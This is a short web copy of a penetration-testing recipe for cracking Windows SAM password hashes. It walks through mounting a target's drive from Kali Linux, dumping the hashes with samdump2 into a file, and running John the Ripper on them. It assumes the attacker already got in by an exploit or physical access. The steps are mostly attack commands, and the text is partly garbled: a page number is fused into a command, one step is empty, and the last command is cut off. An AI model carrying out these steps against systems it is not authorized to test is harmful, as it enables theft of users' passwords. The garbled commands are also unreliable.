In this recipe, we will use John the Ripper (John) to crack a Windows Security Access
Manager (SAM) file. The SAM file stores the usernames and password hashes of users of the target Windows system. For security reasons, the SAM file is protected from unauthorized
access by not being able to be opened manually or be copied while the Windows system is in operation.
You will need access to a SAM file.
For this recipe, we will assume that you have gained access to a Windows host machine.
How to do it…
Let’s begin the process of cracking a Windows SAM file using John the Ripper. We are assuming
that you have accessed the Windows machine via either a remote exploit hack or you have physical access to the computer and are using Kali Linux on a USB or DVD-ROM drive.
1. Check for the hard drive you wish to mount: Fdisk –l210Chapter 8
2. Mount the hard drive and set target as its mount point: mount /dev/sda1 /target/
3. Change directories to the location of the Windows SAM file: cd /target/windows/system32/config
4. List all of the contents of the directory: ls –al
5. Use SamDump2 to extract the hash and place the file in your root user directory in a folder called hashes :
samdump2 system SAM > /root/hashes/hash.txt
6. Change directories to the directory of John the Ripper:
7. Run John the Ripper:
./john /root/hashes/hash.txt–f:nt (If attacking a file on a NTFS
Use for educational purpose only!!! We care about you.
Care about us? use the share button and do not forget to comment also.